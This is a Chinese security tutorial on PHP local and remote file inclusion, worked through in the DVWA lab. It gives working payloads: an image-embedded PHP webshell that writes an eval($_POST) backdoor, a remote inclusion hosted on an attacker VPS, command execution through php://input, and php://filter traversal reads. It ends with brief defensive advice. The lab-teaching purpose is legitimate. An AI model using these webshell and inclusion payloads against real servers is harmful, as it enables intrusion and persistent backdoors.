龙空技术网

关于文件包含漏洞的一些知识点

区块软件开发 833

前言:

而今同学们对“php保存远程文件”大致比较重视,大家都想要学习一些“php保存远程文件”的相关文章。那么小编也在网摘上汇集了一些关于“php保存远程文件””的相关资讯,希望大家能喜欢,各位老铁们快快来学习一下吧!

文件包含漏洞原理

通过PHP函数某些特性函数利用URL动态引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,被包含的文件可以是各种文件格式,当文件中包含恶意代码,就会形成远程命令执行或文件上传漏洞。

类型:

本地文件包含漏洞与远程文件包含漏洞。远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

实验环境DVWA

本地文件包含 :

(提前在当前主机(windows)创建一个phpinfo文件,linux一般我们读取/etc/passwd)

payload :

远程文件包含:

前提是开启了 allow_url_include

1:在vps上放置一个1.txt 内容也为<?php phpinfo();?>2:1.txt 目录下开启http服务 python2 -m SimpleHTTPServer 88883:payload: 地址:8888/1.txt

文件包含+图片马 Getshell

1: 前期准备图片马-copy photo.jpg /b + shell.txt /a shell.jpg2: shell.txt 内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>ps:调用后会在当前目录下生成shell.php 非指定目录生成

通过文件上传上传图片马

图片马地址:

本地文件包含

注意:当前是在vulnerabilities/fi下的,使用我们去文件包含我们的shell.jpg会在当前路径下(vulnerabilities/fi)生成Shell.php

远程文件包含

我们将准备好的shell.jpg 图片马,放置到vps里并且启动http服务用于访问payload: 地址/shell.jpg
注意:已知网站路径的情况下在上面两个本地/远程包含漏洞利用下,我们也可修改木马内容,将木马写入到我们想要的路径下假如:我们要写入到uploads目录下
1:重新生成一份图片马,shell.txt内容为<?PHP fputs(fopen('E:\phpstudy_pro\WWW\DVWA-2.2.2\hackable\uploads\shell.php','w'),'<?php eval($_POST[pass])?>');?>2:copy photo.jpg /b + shell.txt /a shell2.jpg3:用以上的利用方式去文件包含即可在指定目录下生成shell.php

PHP伪协议 php://input(用于执行PHP代码)

可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。

allow_url_fopen : off/onallow_url_include: on

1、写入指定的路径下

2、使用burpsuite抓包后重放

1、写入当前的路径下

2、使用burpsuite抓包后重放

php://input 命令执行

<?php system('whoami');?>

<?php phpinfo();?>

PHP伪协议 file://

在双off的情况下也可使用;allow_url_fopen :off/on    (规定是否允许从远程服务器或者网站检索数据 )allow_url_include:off/on   (规定是否允许include/require远程文件 )

文件读取:

提前在D盘下创建1.txt 用于被读取:\1.txt

PHP伪协议 php://filter(用于读取源码)

读取文件并进行base64编码输出,在双off的情况下也可以正常使用;allow_url_fopen : off/onallow_url_include: off/onpayload[1]php://filter/convert.base64-encode/resource=../../../../../../../../../../1.txtpayload[2]php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../../../../../../../1.txt
1:当前DVWA靶场路径(E:\phpstudy_pro\WWW\DVWA-2.2.2)、我们提前在E盘(E:\1.txt)创建1.txt,用于跨目录读取2::通过base64解码读取文件内容

同样也可以多次编码的方式进行利用

防御手段:

1:可以使用 PHP 内置的安全函数,例如 realpath() 和 basename(),来规范化和过滤文件路径,以避免包含不安全的文件路径。2:禁用危险的 PHP 配置选项,例如 allow_url_include 和 allow_url_fopen 等选项,以防止远程文件包含攻击。3:如果必须使用用户输入的数据来包含文件,需要对用户输入进行严格的过滤和验证,以确保只允许访问安全的文件路径和内容。例如,可以使用白名单机制来限制文件路径的范围,或者对用户输入的文件名进行特定格式的验证。

from:

标签: #php保存远程文件